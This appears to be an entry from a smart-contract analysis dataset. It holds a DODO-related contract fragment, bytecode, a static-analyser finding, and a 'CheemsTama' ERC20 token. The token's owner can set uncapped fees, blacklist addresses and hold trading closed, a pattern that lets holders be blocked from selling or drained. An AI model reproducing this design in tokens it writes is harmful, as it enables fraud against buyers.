to) external onlyOwner{ IDODO(dodo).transferOwnership(to); } }
0x608060405234801561001057600080fd5b50600436106100935760003560e01c80636d435421116100665780636d435421146100e65780638456db15146100f9578063da92d3ae14610101578063df5f060314610114578063f2fde38b1461012757610093565b80630a79309b1461009857806316048bc4146100ad57806321c28191146100cb5780634e71e0c8146100de575b600080fd5b6100ab6100a6366004610bcb565b61013a565b005b6100b5610207565b6040516100c29190610cee565b60405180910390f35b6100ab6100d9366004610bcb565b610216565b6100ab610741565b6100ab6100f4366004610c0a565b6107cf565b6100b561085b565b6100ab61010f366004610bcb565b61086a565b6100ab610122366004610c62565b6108ea565b6100ab610135366004610bcb565b610945565b6000546001600160a01b0316331461016d5760405162461bcd60e51b815260040161016490610dc1565b60405180910390fd5b61020433826001600160a01b03166370a08231306040518263ffffffff1660e01b815260040161019d9190610cee565b60206040518083038186803b1580156101b557600080fd5b505afa1580156101c9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906101ed9190610c7a565b6001600160a01b038416919063ffffffff6109f016565b50565b6000546001600160a01b031681565b6000546001600160a01b031633146102405760405162461bcd60e51b815260040161016490610dc1565b604051632ddbaa9560e11b81526001600160a01b03821690635bb7552a9061026d90600090600401610d35565b600060405180830381600087803b15801561028757600080fd5b505af115801561029b573d6000803e3d6000fd5b5050604051637911020b60e11b81526001600160a01b038416925063f222041691506102cc90600090600401610d35565b600060405180830381600087803b1580156102e657600080fd5b505af11580156102fa573d6000803e3d6000fd5b505050506000816001600160a01b031663ffa642256040518163ffffffff1660e01b8152600401604080518083038186803b15801561033857600080fd5b505afa15801561034c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906103709190610c92565b5090506000826001600160a01b031663eab5d20e6040518163ffffffff1660e01b8152600401602060405180830381600087803b1580156103b057600080fd5b505af11580156103c4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906103e89190610c7a565b90508082101561058d576040516306302ef960e21b8152828203906000906001600160a01b038616906318c0bbe490610425908590600401610d35565b60206040518083038186803b15801561043d57600080fd5b505afa158015610451573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104759190610c7a565b90506105058582876001600160a01b031663d4b970466040518163ffffffff1660e01b8152600401602060405180830381600087803b1580156104b757600080fd5b505af11580156104cb573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104ef9190610bee565b6001600160a01b0316919063ffffffff610a4b16565b60405163733e738360e11b81526001600160a01b0386169063e67ce706906105339085908590600401610e84565b602060405180830381600087803b15801561054d57600080fd5b505af1158015610561573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105859190610c7a565b5050506106d6565b6040516351400f0b60e11b8152818303906000906001600160a01b0386169063a2801e16906105c0908590600401610d35565b60206040518083038186803b1580156105d857600080fd5b505afa1580156105ec573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106109190610c7a565b90506106528583876001600160a01b0316634a248d2a6040518163ffffffff1660e01b8152600401602060405180830381600087803b1580156104b757600080fd5b604051638dae733360e01b81526001600160a01b03861690638dae7333906106809085908590600401610e84565b602060405180830381600087803b15801561069a57600080fd5b505af11580156106ae573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106d29190610c7a565b5050505b604051632ddbaa9560e11b81526001600160a01b03841690635bb7552a9061070a90670dbd2fc137a3000090600401610d35565b600060405180830381600087803b15801561072457600080fd5b505af1158015610738573d6000803e3d6000fd5b50505050505050565b6001546001600160a01b0316331461076b5760405162461bcd60e51b815260040161016490610d3e565b600154600080546040516001600160a01b0393841693909116917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a360018054600080546001600160a01b03199081166001600160a01b03841617909155169055565b6000546001600160a01b031633146107f95760405162461bcd60e51b815260040161016490610dc1565b60405163f2fde38b60e01b81526001600160a01b0383169063f2fde38b90610825908490600401610cee565b600060405180830381600087803b15801561083f57600080fd5b505af1158015610853573d6000803e3d6000fd5b505050505050565b6001546001600160a01b031681565b6000546001600160a01b031633146108945760405162461bcd60e51b815260040161016490610dc1565b806001600160a01b0316634e71e0c86040518163ffffffff1660e01b8152600401600060405180830381600087803b1580156108cf57600080fd5b505af11580156108e3573d6000803e3d6000fd5b5050505050565b6000546001600160a01b031633146109145760405162461bcd60e51b815260040161016490610dc1565b604051339082156108fc029083906000818181858888f19350505050158015610941573d6000803e3d6000fd5b5050565b6000546001600160a01b0316331461096f5760405162461bcd60e51b815260040161016490610dc1565b6001600160a01b0381166109955760405162461bcd60e51b815260040161016490610d9a565b600080546040516001600160a01b03808516939216917fdcf55418cee3220104fef63f979ff3c4097ad240c0c43dcb33ce837748983e6291a3600180546001600160a01b0319166001600160a01b0392909216919091179055565b610a468363a9059cbb60e01b8484604051602401610a0f929190610d1c565b60408051601f198184030181529190526020810180516001600160e01b03166001600160e01b031990931692909217909152610b0e565b505050565b801580610ad35750604051636eb1769f60e11b81526001600160a01b0384169063dd62ed3e90610a819030908690600401610d02565b60206040518083038186803b158015610a9957600080fd5b505afa158015610aad573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ad19190610c7a565b155b610aef5760405162461bcd60e51b815260040161016490610e2e565b610a468363095ea7b360e01b8484604051602401610a0f929190610d1c565b60006060836001600160a01b031683604051610b2a9190610cb5565b6000604051808303816000865af19150503d8060008114610b67576040519150601f19603f3d011682016040523d82523d6000602084013e610b6c565b606091505b509150915081610b8e5760405162461bcd60e51b815260040161016490610d65565b805115610bc55780806020019051810190610ba99190610c42565b610bc55760405162461bcd60e51b815260040161016490610de4565b50505050565b600060208284031215610bdc578081fd5b8135610be781610ea1565b9392505050565b600060208284031215610bff578081fd5b8151610be781610ea1565b60008060408385031215610c1c578081fd5b8235610c2781610ea1565b91506020830135610c3781610ea1565b809150509250929050565b600060208284031215610c53578081fd5b81518015158114610be7578182fd5b600060208284031215610c73578081fd5b5035919050565b600060208284031215610c8b578081fd5b5051919050565b60008060408385031215610ca4578182fd5b505080516020909101519092909150565b60008251815b81811015610cd55760208186018101518583015201610cbb565b81811115610ce35782828501525b509190910192915050565b6001600160a01b0391909116815260200190565b6001600160a01b0392831681529116602082015260400190565b6001600160a01b03929092168252602082015260400190565b90815260200190565b6020808252600d908201526c494e56414c49445f434c41494d60981b604082015260600190565b6020808252818101527f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564604082015260600190565b6020808252600d908201526c24a72b20a624a22fa7aba722a960991b604082015260600190565b6020808252600990820152682727aa2fa7aba722a960b91b604082015260600190565b6020808252602a908201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6040820152691bdd081cdd58d8d9595960b21b606082015260800190565b60208082526036908201527f5361666545524332303a20617070726f76652066726f6d206e6f6e2d7a65726f60408201527520746f206e6f6e2d7a65726f20616c6c6f77616e636560501b606082015260800190565b918252602082015260606040820181905260009082015260800190565b6001600160a01b038116811461020457600080fdfea26469706673582212209780da25f13e677da9b58800aa6009190b4ffd330429c25f4be176a27db3a06664736f6c63430006090033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
8,849
0x8b9d6fc202F846aAEa494289307d9207719bB014
// SPDX-License-Identifier: UNLICENSED pragma solidity ^ 0.8 .4; abstract contract Context { function _msgSender() internal view virtual returns(address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns(uint256); function balanceOf(address account) external view returns(uint256); function transfer(address recipient, uint256 amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint256); function approve(address spender, uint256 amount) external returns(bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns(bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns(address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns(uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns(uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns(uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns(uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns(uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns(uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns(address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns(address); function WETH() external pure returns(address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract cheemstama is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "CheemsTama"; string private constant _symbol = "CheemsTama"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000 * 10 ** 9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; //Buy Fee uint256 private _redisFeeOnBuy = 0; uint256 private _taxFeeOnBuy = 9; //Sell Fee uint256 private _redisFeeOnSell = 0; uint256 private _taxFeeOnSell = 9; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping(address => uint256) private cooldown; address payable private _developmentAddress = payable(0x44bA5786b8FA634a0064600549D63AD03a7B664c); address payable private _marketingAddress = payable(0x44bA5786b8FA634a0064600549D63AD03a7B664c); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 10000 * 10 ** 9; //1% uint256 public _maxWalletSize = 10000 * 10 ** 9; //1% uint256 public _swapTokensAtAmount = 1000 * 10 ** 9; //0.1% event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns(string memory) { return _name; } function symbol() public pure returns(string memory) { return _symbol; } function decimals() public pure returns(uint8) { return _decimals; } function totalSupply() public pure override returns(uint256) { return _tTotal; } function balanceOf(address account) public view override returns(uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns(uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns(bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if (to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if (contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if (from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _developmentAddress.transfer(amount.div(2)); _marketingAddress.transfer(amount.div(2)); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set MAx transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for (uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101c55760003560e01c806374010ece116100f7578063a2a957bb11610095578063c492f04611610064578063c492f046146104ec578063dd62ed3e1461050c578063ea1644d514610552578063f2fde38b1461057257600080fd5b8063a2a957bb14610467578063a9059cbb14610487578063bfd79284146104a7578063c3c8cd80146104d757600080fd5b80638f70ccf7116100d15780638f70ccf7146104115780638f9a55c01461043157806395d89b41146101f357806398a5c3151461044757600080fd5b806374010ece146103bd5780637d1db4a5146103dd5780638da5cb5b146103f357600080fd5b8063313ce567116101645780636d8aa8f81161013e5780636d8aa8f8146103535780636fc3eaec1461037357806370a0823114610388578063715018a6146103a857600080fd5b8063313ce567146102f757806349bd5a5e146103135780636b9990531461033357600080fd5b80631694505e116101a05780631694505e1461026557806318160ddd1461029d57806323b872dd146102c15780632fd689e3146102e157600080fd5b8062b8cf2a146101d157806306fdde03146101f3578063095ea7b31461023557600080fd5b366101cc57005b600080fd5b3480156101dd57600080fd5b506101f16101ec366004611930565b610592565b005b3480156101ff57600080fd5b50604080518082018252600a815269436865656d7354616d6160b01b6020820152905161022c91906119f5565b60405180910390f35b34801561024157600080fd5b50610255610250366004611a4a565b610631565b604051901515815260200161022c565b34801561027157600080fd5b50601454610285906001600160a01b031681565b6040516001600160a01b03909116815260200161022c565b3480156102a957600080fd5b5066038d7ea4c680005b60405190815260200161022c565b3480156102cd57600080fd5b506102556102dc366004611a76565b610648565b3480156102ed57600080fd5b506102b360185481565b34801561030357600080fd5b506040516009815260200161022c565b34801561031f57600080fd5b50601554610285906001600160a01b031681565b34801561033f57600080fd5b506101f161034e366004611ab7565b6106b1565b34801561035f57600080fd5b506101f161036e366004611ae4565b6106fc565b34801561037f57600080fd5b506101f1610744565b34801561039457600080fd5b506102b36103a3366004611ab7565b61078f565b3480156103b457600080fd5b506101f16107b1565b3480156103c957600080fd5b506101f16103d8366004611aff565b610825565b3480156103e957600080fd5b506102b360165481565b3480156103ff57600080fd5b506000546001600160a01b0316610285565b34801561041d57600080fd5b506101f161042c366004611ae4565b610854565b34801561043d57600080fd5b506102b360175481565b34801561045357600080fd5b506101f1610462366004611aff565b61089c565b34801561047357600080fd5b506101f1610482366004611b18565b6108cb565b34801561049357600080fd5b506102556104a2366004611a4a565b610909565b3480156104b357600080fd5b506102556104c2366004611ab7565b60106020526000908152604090205460ff1681565b3480156104e357600080fd5b506101f1610916565b3480156104f857600080fd5b506101f1610507366004611b4a565b61096a565b34801561051857600080fd5b506102b3610527366004611bce565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561055e57600080fd5b506101f161056d366004611aff565b610a0b565b34801561057e57600080fd5b506101f161058d366004611ab7565b610a3a565b6000546001600160a01b031633146105c55760405162461bcd60e51b81526004016105bc90611c07565b60405180910390fd5b60005b815181101561062d576001601060008484815181106105e9576105e9611c3c565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061062581611c68565b9150506105c8565b5050565b600061063e338484610b24565b5060015b92915050565b6000610655848484610c48565b6106a784336106a285604051806060016040528060288152602001611d82602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611184565b610b24565b5060019392505050565b6000546001600160a01b031633146106db5760405162461bcd60e51b81526004016105bc90611c07565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107265760405162461bcd60e51b81526004016105bc90611c07565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b0316148061077957506013546001600160a01b0316336001600160a01b0316145b61078257600080fd5b4761078c816111be565b50565b6001600160a01b03811660009081526002602052604081205461064290611243565b6000546001600160a01b031633146107db5760405162461bcd60e51b81526004016105bc90611c07565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461084f5760405162461bcd60e51b81526004016105bc90611c07565b601655565b6000546001600160a01b0316331461087e5760405162461bcd60e51b81526004016105bc90611c07565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146108c65760405162461bcd60e51b81526004016105bc90611c07565b601855565b6000546001600160a01b031633146108f55760405162461bcd60e51b81526004016105bc90611c07565b600893909355600a91909155600955600b55565b600061063e338484610c48565b6012546001600160a01b0316336001600160a01b0316148061094b57506013546001600160a01b0316336001600160a01b0316145b61095457600080fd5b600061095f3061078f565b905061078c816112c7565b6000546001600160a01b031633146109945760405162461bcd60e51b81526004016105bc90611c07565b60005b82811015610a055781600560008686858181106109b6576109b6611c3c565b90506020020160208101906109cb9190611ab7565b6001600160a01b031681526020810191909152604001600020805460ff1916911515919091179055806109fd81611c68565b915050610997565b50505050565b6000546001600160a01b03163314610a355760405162461bcd60e51b81526004016105bc90611c07565b601755565b6000546001600160a01b03163314610a645760405162461bcd60e51b81526004016105bc90611c07565b6001600160a01b038116610ac95760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105bc565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610b865760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105bc565b6001600160a01b038216610be75760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105bc565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cac5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105bc565b6001600160a01b038216610d0e5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105bc565b60008111610d705760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105bc565b6000546001600160a01b03848116911614801590610d9c57506000546001600160a01b03838116911614155b1561107d57601554600160a01b900460ff16610e35576000546001600160a01b03848116911614610e355760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105bc565b601654811115610e875760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105bc565b6001600160a01b03831660009081526010602052604090205460ff16158015610ec957506001600160a01b03821660009081526010602052604090205460ff16155b610f215760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105bc565b6015546001600160a01b03838116911614610fa65760175481610f438461078f565b610f4d9190611c83565b10610fa65760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105bc565b6000610fb13061078f565b601854601654919250821015908210610fca5760165491505b808015610fe15750601554600160a81b900460ff16155b8015610ffb57506015546001600160a01b03868116911614155b80156110105750601554600160b01b900460ff165b801561103557506001600160a01b03851660009081526005602052604090205460ff16155b801561105a57506001600160a01b03841660009081526005602052604090205460ff16155b1561107a57611068826112c7565b47801561107857611078476111be565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806110bf57506001600160a01b03831660009081526005602052604090205460ff165b806110f157506015546001600160a01b038581169116148015906110f157506015546001600160a01b03848116911614155b156110fe57506000611178565b6015546001600160a01b03858116911614801561112957506014546001600160a01b03848116911614155b1561113b57600854600c55600954600d555b6015546001600160a01b03848116911614801561116657506014546001600160a01b03858116911614155b1561117857600a54600c55600b54600d555b610a0584848484611441565b600081848411156111a85760405162461bcd60e51b81526004016105bc91906119f5565b5060006111b58486611c9b565b95945050505050565b6012546001600160a01b03166108fc6111d883600261146f565b6040518115909202916000818181858888f19350505050158015611200573d6000803e3d6000fd5b506013546001600160a01b03166108fc61121b83600261146f565b6040518115909202916000818181858888f1935050505015801561062d573d6000803e3d6000fd5b60006006548211156112aa5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105bc565b60006112b46114b1565b90506112c0838261146f565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061130f5761130f611c3c565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611368573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061138c9190611cb2565b8160018151811061139f5761139f611c3c565b6001600160a01b0392831660209182029290920101526014546113c59130911684610b24565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac947906113fe908590600090869030904290600401611ccf565b600060405180830381600087803b15801561141857600080fd5b505af115801561142c573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061144e5761144e6114d4565b611459848484611502565b80610a0557610a05600e54600c55600f54600d55565b60006112c083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506115f9565b60008060006114be611627565b90925090506114cd828261146f565b9250505090565b600c541580156114e45750600d54155b156114eb57565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061151487611665565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061154690876116c2565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115759086611704565b6001600160a01b03891660009081526002602052604090205561159781611763565b6115a184836117ad565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516115e691815260200190565b60405180910390a3505050505050505050565b6000818361161a5760405162461bcd60e51b81526004016105bc91906119f5565b5060006111b58486611d40565b600654600090819066038d7ea4c68000611641828261146f565b82101561165c5750506006549266038d7ea4c6800092509050565b90939092509050565b60008060008060008060008060006116828a600c54600d546117d1565b92509250925060006116926114b1565b905060008060006116a58e878787611826565b919e509c509a509598509396509194505050505091939550919395565b60006112c083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611184565b6000806117118385611c83565b9050838110156112c05760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105bc565b600061176d6114b1565b9050600061177b8383611876565b306000908152600260205260409020549091506117989082611704565b30600090815260026020526040902055505050565b6006546117ba90836116c2565b6006556007546117ca9082611704565b6007555050565b60008080806117eb60646117e58989611876565b9061146f565b905060006117fe60646117e58a89611876565b90506000611816826118108b866116c2565b906116c2565b9992985090965090945050505050565b60008080806118358886611876565b905060006118438887611876565b905060006118518888611876565b9050600061186382611810